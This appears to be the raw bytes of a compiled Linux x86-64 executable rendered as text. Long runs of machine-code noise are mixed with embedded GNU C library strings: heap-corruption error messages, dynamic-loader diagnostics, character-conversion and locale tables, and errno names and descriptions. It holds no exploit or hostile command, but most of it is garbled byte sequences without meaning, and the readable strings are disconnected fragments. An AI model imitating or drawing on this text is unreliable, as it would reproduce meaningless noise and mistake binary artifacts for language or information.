<0HEH@HEMDUHuHSHMDDUHAA;ALUMIteHEMDHM1LU?LUHUIEIMLHHfInfHnflAEMEJ\D;EtUHcCtLcI)M9HuHSHMAL]AL]EHEJ\D;EuHEH8[A\A]A^A_]DHEL;sLkI9sMUH9VIUMDfDHEH@HEAudHPfDEt5fDAHuf%DU fF f.HEHEi5d5ff.UfHAUATSHG H_u`tDIH3IHt%ff.LLHH3HuH[A\A]]fDHHH[A\A]]HHH[A\HA]]xUHH=X.HSHHHt@HuH4HuH;uuC u4HH]H=aX.C t@=!X.Q4͐H{gKHH]fff.UHAWIAVAUATSHG fHxHc@H)H8IT$1H H8fHC HL[A\A]A^A_]DHJ.uH5~J.HJ.H9uHLAuHiJ.H9u@N FIHI9ugu{xHV1(fff.ff.H HH9s HH9uHHHPHI9THHFII9:IrfE1HV1HJL LH9rHLR9rIH LJHI9H9HH9MIA HEEq A/A$Ei fAEIy1HOf.H9s;HHLdIT$H9IT$H9EHpH9rf.Hp-<HJH8HH΃lHcMLH9HL4IcLH9.Hu* Hc|LH9HrH9H0HL4Ic>LH9sHHMiAOIuMHu!IuIHHLHtMIIYH AMyHLxEi fADAp< vL<0HpIT$cHpH HC@L(H=F.gL(AA L(H=F.gL(1McD$ID$IJ<GfADADp a05IqHIqL~MDAE1MH@HHpLHH(DHpH9PMt$M9s_HOD5HIHN|MIWH(1HH@H9sMM9rH($H?LHLL(L(HIEa A M{MiIuHHHFHtpIEH@x I@HBHHHIDHIfHFHFHcHFHHFzH11ff.ff.DHMAIL Ex5fDH11fDff.DHMAIL Ex?A@IIL ff.UHAWAVAUATSHEuu7fHĈ[A\A]A^A_]fL`MLHPg6HHtE1Mt Lg-ILcLXtH؃p<0< H`g?HLHMIHEHXID$A<$t HxxLhE11@ff.ff.AUIHЃHI ĄxH`MHug }HIM9HEHxHEHpHEHh1HxLH1IgHpLH1IGHhLHIIA}xHELI9HEI9rM9sfDHEHHXHL`HP1Lg貸1ҾLg袸HLg<@u7H`gH'H`gFH1C@#HHCdH%HC HHBdH%HS dH %HHSHdH%dH%C AAdH%CdH%+щЁ "CE11H߾H=vtH ,&HrdH%##`M AEtƒ5@Hs HEdH+%(uMH tH5+H=-Mp= oldendmalloc.cchunk_is_mmapped (p)arena.cresult->attached_threads == 0 corrupted size vs. prev_sizecorrupted double-linked list glibc: malloc arenap->attached_threads == 0 glibc: mallocheap->ar_ptr == avinvalid fastbin entry (free)correction >= 0chunk_main_arena (bck->bk)chunk_main_arena (fwd)bit != 0malloc(): corrupted top sizemax tcache size too largerealloc(): invalid old size!chunk_is_mmapped (oldp)realloc(): invalid next sizefree(): invalid pointerfree(): invalid sizea->attached_threads > 0realloc(): invalid pointer!misaligned_chunk (p)prev_size (p) == offsetArena %d: system bytes = %10u in use bytes = %10u Total (incl. mmap): max mmap regions = %10u max mmap bytes = %10lu mtrimANSI_X3.4-1968//TRANSLIT../sysdeps/nptl/fork.hl->next->prev == elemfork handler counter overflow/usr/lib/getconfGETCONF_DIR/proc/sys/kernel/rtsig-maxGLRO(dl_minsigstacksize) != 0minsigstacksize != 0/proc/sys/kernel/ngroups_maxpthread_stack_min != 0ILP32_OFF32ILP32_OFFBIGGLRO(dl_pagesize) != 0*cp <= *re/proc/stat/proc/meminfoHugepagesize:/sys/kernel/mm/hugepageshugepages-buffer overflow detected*** %s ***: terminated stack smashing detectedfile too shortcannot read file datainvalid ELF headerinternal errornonzero padding in e_identELF file ABI version invalidELF file OS ABI invalid:%s
search path= (%s from file %s) (%s) trying file=%s cannot allocate name recorddl-load.clastp != NULLORIGINPLATFORMLIBsystem search pathl->l_type != lt_loadedRUNPATHRPATH:;cannot close file descriptorcannot stat shared objectcannot map zero-fill pagesnsid == LM_ID_BASE\`$[]get-dynamic-info.hlibc.so.6r->r_state == RT_ADDnsid >= 0nsid < GL(dl_nns)wrong ELF class: ELFCLASS32/proc/self/exelinkval[0] == '/'dl-printf.cniov < NIOVMAXwidth < IFMTSIZE! "invalid format specifier"dl-setup_hash.c../elf/dl-tls.clistp != NULLidx == 0dlopenGLIBC_TUNABLES%s: %s: %d (min: %d, max: %d) %.*s /etc/ld.so.cache search cache=%s glibc-ld.so.cache1.1ld.so-1.7.0dl-cache.ccache != NULLcan't disable IBTcan't disable SHSTKdl-support.csetup-vdso.hph->p_type != PT_TLS__vdso_clock_gettime__vdso_gettimeofday__vdso_time__vdso_getcpu__vdso_clock_getres__vdso_getrandomLD_WARNLD_LIBRARY_PATHLD_BIND_NOWLD_BIND_NOTLD_DYNAMIC_WEAKLINUX_2.6valp->strval.str != NULLCX8FMAHTTRTMLZCNTMOVBESSSE3POPCNTSSE4_1XSAVECAVX512FOSXSAVEPrefer_ERMSPrefer_FSRMAvoid_STOSBSlow_SSE4_2Fast_Rep_StringFast_Copy_BackwardFast_Unaligned_CopyPrefer_No_VZEROUPPERAVX_Fast_Unaligned_LoadMathVec_Prefer_No_AVX512Avoid_Non_Temporal_MemsetPrefer_PMINUB_for_stringopAVXoffpermissive/dev/fullgconv_db.cstep->__end_fct == NULLgconv_conf.cresult == NULLelem != NULLcwd != NULLrcealiasmodule.confISO-10646/UCS4/=INTERNAL->ucs4=ucs4->INTERNALUCS-4LE//=INTERNAL->ucs4le=ucs4le->INTERNALISO-10646/UTF8/=INTERNAL->utf8=utf8->INTERNALISO-10646/UCS2/=ucs2->INTERNAL=INTERNAL->ucs2ANSI_X3.4-1968//=ascii->INTERNAL=INTERNAL->asciiUNICODEBIG//=ucs2reverse->INTERNAL=INTERNAL->ucs2reversegconv_builtin.c../iconv/skeleton.coutbufstart == NULLoutbuf == outerrgconv_simple.c*outptrp + 4 > outend../iconv/loop.cch != 0xc0 && ch != 0xc1GCONV_PATHgconv_dl.cobj->counter > 0found->handle == NULLgconvgconv_initgconv_endLOCPATHPOSIXluldlolxlXIli/usr/share/localeplural=nplurals= glibc: getrandom glibc: getrandom states(nil)vfprintf-internal.c(null)-c--/bin/shwfileops.cstatus == __codecvt_partialiofwide.ce != ESRCH || !robustmutex->__data.__owner == 0pthread_mutex_unlock.ctpp.cUnknown error %s%dwcrtomb.cwcsrtombs.cdata.__outbuf[-1] == '\0'__mbsinit (data.__statep)..fd_to_filename.cdescriptor >= 0/proc/self/fd//proc/self/maps%s: %s: %s%s%s%s%s DYNAMIC LINKER BUG!!!out of memory , version protectednormaldl-lookup.cundefined symbol: %s%s%ssymbol lookup error [%s] (lazy) relocation processing: %s%s dl-runtime.cGLIBC_PRIVATELC_ALLLANGfindlocale.clocale_codeset != NULL/../loadarchive.carchmapped == &headmaploadlocale.ccategory == LC_CTYPE579ISO/IEC 14652 i18n FDCC-setKeld Simonsenkeld@dkuug.dk+45 3122-6543+45 3325-6543ISO1.01997-12-20^[yY]^[nN]%p%t%g%t%m%t%f+%c %a %lSunMonTueWedThuFriSatSundayMondayTuesdayWednesdayThursdayFridaySaturdayJanFebMarAprMayJunJulAugSepOctNovDecJanuaryFebruaryMarchAprilJuneJulyAugustSeptemberOctoberNovemberDecemberAMPM%a %b %e %H:%M:%S %Y%m/%d/%y%H:%M:%S%I:%M:%S %p%a %b %e %H:%M:%S %Z %YlibcOUTPUT_CHARSETcharset= LANGUAGEgrouping_iterator.cit->remaining > 0Xprintf_buffer_pad_1.cXprintf_buffer_putc_1.cXprintf_buffer_puts_1.cprintf_buffer_to_file.cXprintf_buffer_write.cnanNANINFinfprintf_fp.cincr <= powers->p_expop.frac[p.fracsize - 1] < 10wcp >= wstartp + 1wstartp[0] == '1'0.0001info->extra == 0translated_number_width.c'0' <= *p && *p <= '9'SuccessOperation not permittedNo such file or directoryNo such processInterrupted system callInput/output errorNo such device or addressArgument list too longExec format errorBad file descriptorNo child processesCannot allocate memoryPermission deniedBad addressBlock device requiredDevice or resource busyFile existsInvalid cross-device linkNo such deviceNot a directoryIs a directoryInvalid argumentToo many open files in systemToo many open filesText file busyFile too largeNo space left on deviceIllegal seekRead-only file systemToo many linksBroken pipeNumerical result out of rangeResource deadlock avoidedFile name too longNo locks availableFunction not implementedDirectory not emptyNo message of desired typeIdentifier removedChannel number out of rangeLevel 2 not synchronizedLevel 3 haltedLevel 3 resetLink number out of rangeProtocol driver not attachedNo CSI structure availableLevel 2 haltedInvalid exchangeInvalid request descriptorExchange fullNo anodeInvalid request codeInvalid slotBad font file formatDevice not a streamNo data availableTimer expiredOut of streams resourcesMachine is not on the networkPackage not installedObject is remoteLink has been severedAdvertise errorSrmount errorCommunication error on sendProtocol errorMultihop attemptedRFS specific errorBad messageName not unique on networkFile descriptor in bad stateRemote address changedStreams pipe errorToo many usersDestination address requiredMessage too longProtocol not availableProtocol not supportedSocket type not supportedOperation not supportedProtocol family not supportedAddress already in useNetwork is downNetwork is unreachableConnection reset by peerNo buffer space availableConnection timed outConnection refusedHost is downNo route to hostOperation already in progressOperation now in progressStale file handleStructure needs cleaningNot a XENIX named type fileNo XENIX semaphores availableIs a named type fileRemote I/O errorDisk quota exceededNo medium foundWrong medium typeOperation canceledRequired key not availableKey has expiredKey has been revokedKey was rejected by serviceOwner diedState not recoverable/bin:/usr/bindl-close.c! should_be_thereidx == nloadedimap->l_ns == nsidtmap->l_ns == nsidcannot create scope listdlcloseimap->l_type == lt_loadedimap->l_prev != NULLshared object not opendl-find_object.cns == l->l_nsresult->allocated >= sizeremaining_to_add > 0remaining_to_add == 0target_seg_index1 == 0dl-open.ccannot extend global scopeinvalid mode for dlopen()r_state == RT_CONSISTENTobject=%s [%lu] scope %u: %s no scope mode & RTLD_NOLOADmarking %s [%lu] as NODELETE ld-linux-x86-64.so.2cnt + 1 < imap->l_scope_maximap->l_need_tls_init == 0dl-sort-maps.crpo_head == rpomaps_head == mapsi < nmapsdl-version.cneeded != NULLdef_offset != 0version lookup errorGLIBC_ABI_DT_RELRlibc.so._rtld_global_rortld_static_init.csym != NULLgconv.cirreversible != NULL,TRANSLIT/IGNORE,IGNOREprintf_buffer_as_file.cXprintf_buffer_flush.cout of memory%s%s%s: %munsupported dlinfo requestinvalid namespaceinvalid mode parameter__libc_early_initdl-call-libc-early-init.c calling fini: %s [%lu] dl-deps.cmap_index < nlistdl-init.c calling init: %s calling preinit: %s ../nptl/pthread_mutex_lock.cPATH=/bin:/usr/bin:/sbin:/usr/sbinUnexpected reloc type in static binary. Fatal glibc error: Cannot allocate TLS block Fatal glibc error: %s:%s (%s): assertion failed: %s __new_exitfnFatal glibc error: Internal __libc_message error. Too many arguments. Fatal error: glibc detected an invalid stdio handle The futex facility returned an unexpected error code. int_mallinfo(): unaligned fastbin chunk detectedmunmap_chunk(): invalid pointerreplaced_arena->attached_threads > 0__malloc_info(): unaligned fastbin chunk detected corrupted double-linked list (not small)malloc_consolidate(): unaligned fastbin chunk detectedmalloc_consolidate(): invalid chunk sizecorrupted size vs. prev_size in fastbinsfree(): corrupted unsorted chunksfree(): chunks in smallbin corrupted((INTERNAL_SIZE_T) chunk2mem (mm) & MALLOC_ALIGN_MASK) == 0chunksize_nomask (p) == (0 | PREV_INUSE)new_size > 0 && new_size < (long) (2 * MINSIZE)new_size > 0 && new_size < max_size((unsigned long) ((char *) p + new_size) & (heap->pagesize - 1)) == 0((char *) p + new_size) == ((char *) heap + heap->size)/proc/sys/vm/overcommit_memorydouble free or corruption (top)double free or corruption (out)double free or corruption (!prev)free(): invalid next size (normal)corrupted size vs. prev_size while consolidatingfree(): invalid next size (fast)double free or corruption (fasttop)(old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)(unsigned long) (old_size) < (unsigned long) (nb + MINSIZE)break adjusted to free malloc space((unsigned long) chunk2mem (brk) & MALLOC_ALIGN_MASK) == 0malloc(): unaligned fastbin chunk detected 2malloc(): unaligned fastbin chunk detectedmalloc(): memory corruption (fast)malloc(): unaligned fastbin chunk detected 3malloc(): chunk size mismatch in fastbinmalloc(): smallbin double linked list corruptedmalloc(): invalid size (unsorted)malloc(): invalid next size (unsorted)malloc(): mismatching next->prev_size (unsorted)malloc(): unsorted double linked list corruptedmalloc(): invalid next->prev_inuse (unsorted)malloc(): largebin double linked list corrupted (nextsize)malloc(): largebin double linked list corrupted (bk)malloc(): unaligned tcache chunk detectedmalloc(): corrupted unsorted chunks(unsigned long) (size) >= (unsigned long) (nb)malloc(): corrupted unsorted chunks 2!victim || chunk_is_mmapped (mem2chunk (victim)) || &main_arena == arena_for_chunk (mem2chunk (victim))!victim || chunk_is_mmapped (mem2chunk (victim)) || ar_ptr == arena_for_chunk (mem2chunk (victim))!mem || chunk_is_mmapped (mem2chunk (mem)) || av == arena_for_chunk (mem2chunk (mem))(unsigned long) (newsize) >= (unsigned long) (nb)newsize >= nb && (((unsigned long) (chunk2mem (p))) % alignment) == 0!p || chunk_is_mmapped (mem2chunk (p)) || &main_arena == arena_for_chunk (mem2chunk (p))!p || chunk_is_mmapped (mem2chunk (p)) || ar_ptr == arena_for_chunk (mem2chunk (p))tcache_thread_shutdown(): unaligned tcache chunk detectedfree(): too many chunks detected in tcachefree(): unaligned chunk detected in tcache 2free(): double free detected in tcache 2mremap_chunk(): invalid pointer!newp || chunk_is_mmapped (mem2chunk (newp)) || ar_ptr == arena_for_chunk (mem2chunk (newp))(char *) chunk2mem (p) + 2 * CHUNK_HDR_SZ <= paligned_mem(char *) p + size > paligned_mem__libc_calloc2_int_memalign_mid_memalign_int_reallocmremap_chunk__libc_reallocmunmap_chunkheap_trimsysmalloc_mmapsysmalloc_int_mallocdetach_arenaget_free_list__libc_malloc2Fatal glibc error: gconv module reference counter overflow reclaim_stacks../sysdeps/unix/sysv/linux/x86/../sysconf.c../sysdeps/unix/sysv/linux/sysconf-sigstksz.h../sysdeps/unix/sysv/linux/sysconf-pthread_stack_min.hlinux_sysconf../sysdeps/unix/sysv/linux/getpagesize.c__getpagesize../sysdeps/unix/sysv/linux/getsysstats.c/sys/devices/system/cpu/online/sys/devices/system/cpu/possiblenext_line/sys/kernel/mm/transparent_hugepage/hpage_pmd_size/sys/kernel/mm/transparent_hugepage/enabledELF file data encoding not little-endianELF file version does not match current oneonly ET_DYN and ET_EXEC can be loadedELF file's phentsize not the expected sizeELF file version ident does not match current one(l)->l_name[0] == '\0' || is_rtld_link_map (l)cannot create cache for search pathcannot create RUNPATH/RPATH copycannot create search path arraycannot allocate memory for program headercannot dynamically load position-independent executablecannot enable executable stack as shared object requiresshared object cannot be dlopen()edcannot create shared object descriptorELF load command address/offset not page-alignedcannot change memory protectionsfailed to map segment from shared objectobject file has no loadable segmentscannot dynamically load executableobject file has no dynamic sectionfile=%s [%lu]; generating link map false && "TLS not initialized in static application"info[DT_PLTREL]->d_un.d_val == DT_RELAinfo[DT_RELAENT]->d_un.d_val == sizeof (ElfW(Rela))info[DT_RELRENT]->d_un.d_val == sizeof (ElfW(Relr)) WARNING: Unsupported flag value(s) of 0x%x in DT_FLAGS_1. type != ET_EXEC || l->l_type == lt_executable dynamic: 0x%0*lx base: 0x%0*lx size: 0x%0*zx entry: 0x%0*lx phdr: 0x%0*lx phnum: %*u file=%s [%lu]; needed by %s [%lu] file=%s [%lu]; dynamically loaded by %s [%lu] find library=%s [%lu]; searching cannot open shared object file_dl_lookup_map_dl_init_paths/usr/lib/../sysdeps/unix/sysv/linux/dl-origin.c_dl_get_originpid >= 0 && sizeof (pid_t) <= 4(bitmask_nwords & (bitmask_nwords - 1)) == 0_dl_setup_hashcannot allocate memory for thread-local data: ABORT listp->slotinfo[cnt].gen <= GL(dl_tls_generation)map->l_tls_modid == total + cntmap->l_tls_blocksize >= map->l_tls_initimage_size(size_t) map->l_tls_offset >= map->l_tls_blocksizeFailed loading %lu audit modules, %lu are supported. result <= GL(dl_tls_max_dtv_idx) + 1result == GL(dl_tls_max_dtv_idx) + 1cannot create TLS data structuresWARNING: ld.so: invalid GLIBC_TUNABLES `%s': ignored. WARNING: ld.so: invalid GLIBC_TUNABLES value `%.*s' for option `%s': ignored. 0x%lx (min: 0x%lx, max: 0x%lx) 0x%zx (min: 0x%zx, max: 0x%zx) rebuild shared object with IBT support enabledrebuild shared object with SHSTK support enabled__ehdr_start.e_phentsize == sizeof *GL(dl_phdr)setup_vdso_dl_aux_init../sysdeps/generic/dl-tunables-parse.h/usr/lib/gconvgconv-modulescnt < sizeof (map) / sizeof (map[0])nstatus == __GCONV_FULL_OUTPUTcnt_after <= sizeof (data->__statep->__value.__wchb)(state->__count & 7) <= sizeof (state->__value)inlen_after <= sizeof (state->__value.__wchb)inptr - bytebuf > (state->__count & 7)inend != &bytebuf[MAX_NEEDED_INPUT]inend - inptr > (state->__count & ~7)inend - inptr <= sizeof (state->__value.__wchb)/usr/lib/gconv/gconv-modules.cache   ANSI_X3.4-1968/locale.alias../sysdeps/unix/sysv/linux/getrandom.cgrnd_alloc.len < grnd_alloc.cap(mode_flags & PRINTF_FORTIFY) != 0*** invalid %N$ use detected *** *** %n in writable segments detected *** *** procfs could not open *** _IO_fwidee != EDEADLK || (kind != PTHREAD_MUTEX_ERRORCHECK_NP && kind != PTHREAD_MUTEX_RECURSIVE_NP)robust || (oldval & FUTEX_OWNER_DIED) == 0PTHREAD_MUTEX_TYPE (mutex) == PTHREAD_MUTEX_ERRORCHECK_NPtype == PTHREAD_MUTEX_ERRORCHECK_NPnew_prio == -1 || (new_prio >= fifo_min_prio && new_prio <= fifo_max_prio)previous_prio == -1 || (previous_prio >= fifo_min_prio && previous_prio <= fifo_max_prio)Fatal glibc error: array index %zu not less than array length %zu status == __GCONV_OK || status == __GCONV_EMPTY_INPUT || status == __GCONV_ILLEGAL_INPUT || status == __GCONV_INCOMPLETE_INPUT || status == __GCONV_FULL_OUTPUTdata.__outbuf != (unsigned char *) dst__wcsrtombs../sysdeps/unix/sysv/linux/getcwd.cerrno != ERANGE || buf != NULL || size != 0__getcwderror while loading shared librariesFatal error: length accounting in _dl_exception_create_format Fatal error: invalid format in exception string out of memoryFatal glibc error: executable stack is not allowed Fatal glibc error: cannot enable executable stack as tunable requiressymbol=%s; lookup in file=%s [%lu] warning: copy relocation against non-copyable protected symbol `%s' in `%s' warning: direct reference to protected function `%s' in `%s' may break pointer equality error due to GNU_PROPERTY_1_NEEDED_INDIRECT_EXTERN_ACCESSmarking %s [%lu] as NODELETE due to unique symbol version == NULL || !(flags & DL_LOOKUP_RETURN_NEWEST)marking %s [%lu] as NODELETE due to reference from main program marking %s [%lu] as NODELETE due to reference from %s [%lu] marking %s [%lu] as NODELETE due to memory allocation failure file=%s [%lu]; needed by %s [%lu] (relocation dependency) binding file %s [%lu] to %s [%lu]: %s symbol `%s'cannot allocate memory in static TLS blockcannot make segment writable for relocationcannot restore segment prot after reloc%s: Symbol `%s' causes overflow in R_X86_64_32 relocation %s: Symbol `%s' causes overflow in R_X86_64_PC32 relocation %s: Symbol `%s' has different size in shared object, consider re-linking %s: IFUNC symbol '%s' referenced in '%s' is defined in the executable and creates an unsatisfiable circular dependency. %s: Relink `%s' with `%s' for IFUNC symbol `%s' ../sysdeps/x86_64/dl-machine.hELFW(R_TYPE) (reloc->r_info) == R_X86_64_RELATIVE%s: out of memory to store relocation results for %s ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT_dl_fixupheadmap.len == archive_stat.st_size%a%N%f%N%d%N%b%N%s %h %e %r%N%C-%z %T%N%c%NISO/IEC JTC1/SC22/WG20 - internationalizationC/o Keld Simonsen, Skt. Jorgens Alle 8, DK-1615 Kobenhavn Vmessagesbuf->write_ptr != buf->write_endbuf->write_ptr < buf->write_endbuf->base.write_end == buf->fp->_IO_write_endcy == 1 || (p.frac[p.fracsize - 2] == 0 && p.frac[0] == 0)cy == 0 || p.tmp[p.tmpsize - 1] < 200 <= p.exponent && p.exponent < 3 && p.exponent + to_shift < BITS_PER_MP_LIMBp.expsign == 0 || intdig_max == 1../stdio-common/printf_fphex.cResource temporarily unavailableInappropriate ioctl for deviceNumerical argument out of domainToo many levels of symbolic linksValue too large for defined data typeCan not access a needed shared libraryAccessing a corrupted shared library.lib section in a.out corruptedAttempting to link in too many shared librariesCannot exec a shared library directlyInvalid or incomplete multibyte or wide characterInterrupted system call should be restartedSocket operation on non-socketProtocol wrong type for socketAddress family not supported by protocolCannot assign requested addressNetwork dropped connection on resetSoftware caused connection abortTransport endpoint is already connectedTransport endpoint is not connectedCannot send after transport endpoint shutdownToo many references: cannot spliceOperation not possible due to RF-killMemory page has hardware error closing file=%s; direct_opencount=%u (*lp)->l_idx >= 0 && (*lp)->l_idx < nloadedjmap->l_idx >= 0 && jmap->l_idx < nloadedimap->l_type == lt_loaded && !imap->l_nodelete_active file=%s [%lu]; destroying link map TLS generation counter wrapped! Please report as described in . Fatal glibc error: cannot allocate memory for find-object data new_nlist < ns->_ns_global_scope_alloc add %s [%lu] to global scope added <= ns->_ns_global_scope_pending_addsopening file=%s [%lu]; direct_opencount=%u no more namespaces available for dlmopen()invalid target namespace in dlmopen()CPU ISA level is lower than requiredactivating NODELETE for %s [%lu] cannot allocate address lookup dataTLS generation counter wrapped! Please report this.update_scopes_dl_openunsupported version %s of Verneed recordchecking for version `%s' in file %s [%lu] required by file %s [%lu] no version information available (required by %s)unsupported version %s of Verdef recordweak version `%s' not found (required by %s)version `%s' not found (required by %s)cannot allocate version reference tableDT_RELR without GLIBC_ABI_DT_RELR dependencymatch_symboloutbuf != NULL && *outbuf != NULL__gconvfile->stream._IO_write_ptr >= file->next->write_ptrfile->stream._IO_write_ptr <= file->next->write_endfile->stream._IO_write_base == file->next->write_basefile->stream._IO_write_end == file->next->write_endcannot allocate dependency bufferDST not allowed in SUID/SGID programscannot load auxiliary `%s' because of empty dynamic string token substitution empty dynamic string token substitutionload auxiliary object=%s requested by file=%s cannot allocate dependency listmap->l_searchlist.r_list == NULLcannot allocate symbol search listl->l_relocated || l->l_type == lt_executablecall_initRTLD_NEXT used in code not dynamically loaded(mutex_kind & PTHREAD_MUTEX_PRIO_INHERIT_NP) != 0(mutex_kind & PTHREAD_MUTEX_ROBUST_NORMAL_NP) == 0(mutex_kind & PTHREAD_MUTEX_PSHARED_BIT) == 0q=VyWYY`YtYj~ 4*\RH>f....jjjjjjtt____$$$$$$$$$$$$$$$$$$$j. )))))) )) ) ))))) )))  )))))))))))))))))))))()))))))))))))))))))))))))))))))))')))%)))))))&))&))))))))))!!)))))))))&)))))))))) )))))))#)))))))  @     @ @@@`!@"@ #@ %@ )@ @,@0@9@:@;@<@=@>@?@A B C D E  F@ @G@ H @0I@@J @ `K@ L @ M@ N@``@@f@ g@@h@x@y@z@{@|@}@ @@     @@@ @ @ @ @ @ @ @ @ @ @ @ @ @@ @ @ @ intel_check_word__internal_atexit_IO_new_file_fopenenlarge_userbuf_int_free_maybe_consolidateremove_from_free_list__malloc_arena_thread_freeres__get_pthread_stack_minsysconf_sigstkszalways madvise [never] always [madvise] never [always] madvise never _dl_notify_new_objectelf_get_dynamic_info_dl_map_object_from_fdadd_name_to_objectexpand_dynamic_string_token_dl_debug_vdprintf_dl_add_to_slotinfo_dl_allocate_tls_init_dl_assign_tls_modid_dl_load_cache_lookuptunable_str_comma_init__gconv_release_step__gconv_get_path__gconv_get_builtin_transinternal_ucs2_loop_singleucs2_internal_loop_singleutf8_internal_loop_singleinternal_utf8_loop_singleinternal_ascii_loop_singleucs4le_internal_loopdo_release_shlib__gconv_find_shlib' +.'__getrandom_reset_stateprintf_positional_IO_wfile_underflow__pthread_mutex_lock_full___pthread_mutex_lock__pthread_mutex_unlock_usercnt__pthread_tpp_change_priority__wcrtomb_internal__fd_to_filename_dl_lookup_symbol_xelf_machine_rela_relative_nl_find_locale/usr/lib/locale_nl_archive_subfreeres_nl_load_locale_from_archive/usr/lib/locale/locale-archive_nl_intern_locale_data/usr/share/locale__grouping_iterator_next__printf_buffer_pad_1__printf_buffer_putc_1__printf_buffer_puts_1__printf_buffer_flush_to_file__printf_buffer_write__printf_fp_buffer_1__printf_fphex_buffer__translated_number_width__wprintf_buffer_putc_1remove_slotinfo_dl_close_worker_dl_find_object_update_1_dl_find_object_slowadd_to_global_updateupdate_tls_slotinfodl_open_worker_begin_dl_find_dso_for_object_dl_sort_maps_dfs_dl_check_map_versions__rtld_static_init__printf_buffer_as_file_commit__printf_buffer_flush__wprintf_buffer_flush_dl_call_libc_early_init_dl_map_object_deps__pthread_mutex_cond_lock_full__pthread_mutex_cond_lock#?0123456789abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZinternal_ucs2reverse_loop_single__gconv_transform_internal_ucs2reverseucs2reverse_internal_loop_single__gconv_transform_ucs2reverse_internal__gconv_transform_internal_ucs2__gconv_transform_ucs2_internal__gconv_transform_utf8_internal__gconv_transform_internal_utf8__gconv_transform_internal_ascii__gconv_transform_ascii_internal__gconv_transform_ucs4le_internal__gconv_transform_internal_ucs4le__gconv_transform_ucs4_internal__gconv_transform_internal_ucs4cannot apply additional memory protection after relocation_dlfo_mappings_segment_allocate__pthread_mutex_cond_lock_adjustD$0 glibc: .bss???????????????? x @,-(/h012(4h567(9h:;<(>,XC(DDEFXG(HHIJhK8LMMNBjlmoprsuvxy{|~ixhXH8(،ȍ؁pХ0PpЦ0PpЧ0PpШ0`pЩ 0@P`pЪ0PpЫ0P 0@P`pЬ UUUUU<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< U5n5n525>3J3J3J3J323J3J3J3J3J3&3J3J3J3J3J33J3J33r4~4~4~4~4f4~4~4~4~4~4Z4~4~4~4~4~4N4~4~4B433333333333v333333j333^3j3v3v3v3v3^3v3v3v3v3v3R3v3v3v3v3v3F3v3v3:3555555555555555555555xJxJ)OFOLLOMTQ PPMbNN ORQQQQQQQQQQQQQQQQQQQQQQRQQQRwRQVRVRTTQSQSQQQQQQQQQQVRRSSjSVRQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQVRQQQQQQQQQQQQQwR                     UUUUUUUU?33333333*$I$I$qqqE]tEUUUUUUU;;I$I$I8885P^Cy 0 0 0 袋. ,d! p= ףp= ؉؉ %^B{ $I$I$ =B!B|PuPuPqq0123456789?SunMonTueWedThuFriSatSundayMondayFridayJanFebMarAprMayJunJulAugSepOctNovDecMarchAprilJuneJulyAugustAMPMxx@@       %+39HOV]ekrx@dk= '.5;AHOW_fm\tyyrG *:JUboz&0UN *6CK0EPERMENOENTESRCHEINTREIOENXIOE2BIGENOEXECEBADFECHILDEDEADLKENOMEMEACCESEFAULTENOTBLKEBUSYEEXISTEXDEVENODEVENOTDIREISDIREINVALEMFILEENFILEENOTTYETXTBSYEFBIGENOSPCESPIPEEROFSEMLINKEPIPEEDOMERANGEEAGAINEINPROGRESSEALREADYENOTSOCKEMSGSIZEEPROTOTYPEENOPROTOOPTEPROTONOSUPPORTESOCKTNOSUPPORTEOPNOTSUPPEPFNOSUPPORTEAFNOSUPPORTEADDRINUSEEADDRNOTAVAILENETDOWNENETUNREACHENETRESETECONNABORTEDECONNRESETENOBUFSEISCONNENOTCONNEDESTADDRREQESHUTDOWNETOOMANYREFSETIMEDOUTECONNREFUSEDELOOPENAMETOOLONGEHOSTDOWNEHOSTUNREACHENOTEMPTYEUSERSEDQUOTESTALEEREMOTEENOLCKENOSYSEILSEQEBADMSGEIDRMEMULTIHOPENODATAENOLINKENOMSGENOSRENOSTREOVERFLOWEPROTOETIMEECANCELEDEOWNERDEADENOTRECOVERABLEERESTARTECHRNGEL2NSYNCEL3HLTEL3RSTELNRNGEUNATCHENOCSIEL2HLTEBADEEBADREXFULLENOANOEBADRQCEBADSLTEBFONTENONETENOPKGEADVESRMNTECOMMEDOTDOTENOTUNIQEBADFDEREMCHGELIBACCELIBBADELIBSCNELIBMAXELIBEXECESTRPIPEEUCLEANENOTNAMENAVAILEISNAMEREMOTEIOENOMEDIUMEMEDIUMTYPEENOKEYEKEYEXPIREDEKEYREVOKEDEKEYREJECTEDERFKILLEHWPOISON`((P(((@(((0( ((((((((((((((((((((((((((FVFjLLLLLLLLLLLLGLLLLLLLLLLLL5LLLLL#LLYLLLDbTbdbtbbbbbbbc$cDcdccccccd$dDddddddde$eDedee???????????????????????????????? @P `0М`Х0`Я@  0@P`plD L8FH L L J?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~  !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~upperloweralphadigitxdigitspaceprintgraphblankcntrlpunctalnumtouppertolower8HHHHHI( (xx>>~~~~     !"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\]^_`abcdefghijklmnopqrstuvwxyz{|}~  !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~     `     ` (C)<<-(R)u,>> 1/4 1/2 3/4 